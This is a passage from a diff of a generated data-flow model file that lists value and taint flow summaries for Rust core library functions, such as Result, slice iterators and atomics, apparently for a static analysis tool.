"Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_deref_mut", "Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] @@ -1132,7 +1539,6 @@ extensions: - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::err", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -1151,6 +1557,7 @@ extensions: - ["lang:core", "::iter", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::iter_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["lang:core", "::map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[1]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[self].Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[self].Field[crate::result::Result::Err(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] @@ -1177,12 +1584,11 @@ extensions: - ["lang:core", "::unwrap_or", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_default", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Err(0)].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Err(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_unchecked", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::ArrayChunks::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -1190,7 +1596,6 @@ extensions: - ["lang:core", "::remainder", "Argument[self].Field[crate::slice::iter::ArrayChunks::rem]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_remainder", "Argument[self].Field[crate::slice::iter::ArrayChunksMut::rem]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::count", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::last", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::ChunkBy::slice]", "value", "dfc-generated"] @@ -1256,17 +1661,25 @@ extensions: - ["lang:core", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RChunksMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RChunksMut::chunk_size]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::RSplit::inner].Reference", "ReturnValue.Field[crate::slice::iter::RSplit::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::RSplit::inner]", "ReturnValue.Field[crate::slice::iter::RSplit::inner]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::pred]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitMut::inner].Field[crate::slice::iter::SplitMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitMut::inner].Field[crate::slice::iter::SplitMut::pred]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::as_slice", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::Split::v]", "value", "dfc-generated"] @@ -1280,11 +1693,14 @@ extensions: - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitInclusive::pred]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::pred]", "value", "dfc-generated"] - - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::SplitMut::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitMut::pred]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::Windows::size]", "ReturnValue.Field[crate::slice::iter::Windows::size]", "value", "dfc-generated"] @@ -1301,28 +1717,26 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::Windows::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::Windows::size]", "value", "dfc-generated"] - ["lang:core", "::call", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::error_len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::valid_up_to", "Argument[self].Field[crate::str::error::Utf8Error::valid_up_to]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::str::iter::Bytes(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::last", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::str::iter::CharIndices::front_offset]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] - ["lang:core", "::offset", "Argument[self].Field[crate::str::iter::CharIndices::front_offset]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::str::iter::EncodeUtf16::extra]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::str::iter::MatchIndicesInternal(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::MatchIndicesInternal(0)].Reference", "ReturnValue.Field[crate::str::iter::MatchIndicesInternal(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::str::iter::MatchesInternal(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::MatchesInternal(0)].Reference", "ReturnValue.Field[crate::str::iter::MatchesInternal(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1331,7 +1745,6 @@ extensions: - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitInternal::matcher].Reference", "ReturnValue.Field[crate::str::iter::SplitInternal::matcher]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitInternal::matcher]", "ReturnValue.Field[crate::str::iter::SplitInternal::matcher]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitNInternal::iter].Reference", "ReturnValue.Field[crate::str::iter::SplitNInternal::iter]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitNInternal::iter]", "ReturnValue.Field[crate::str::iter::SplitNInternal::iter]", "value", "dfc-generated"] @@ -1359,75 +1772,105 @@ extensions: - ["lang:core", "::haystack", "Argument[self].Field[crate::str::pattern::StrSearcher::haystack]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::from_pin_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::get_pin_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::get_pin_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::exclusive::Exclusive::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::exclusive::Exclusive::inner]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::task::poll::Poll::Ready(0)]", "value", "dfc-generated"] @@ -1455,7 +1898,6 @@ extensions: - ["lang:core", "::local_waker", "Argument[0]", "ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker]", "value", "dfc-generated"] - ["lang:core", "::waker", "Argument[0]", "ReturnValue.Field[crate::task::wake::ContextBuilder::waker]", "value", "dfc-generated"] - ["lang:core", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:core", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:core", "::data", "Argument[self].Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::task::wake::LocalWaker::waker]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data]", "value", "dfc-generated"] @@ -1468,12 +1910,12 @@ extensions: - ["lang:core", "::new", 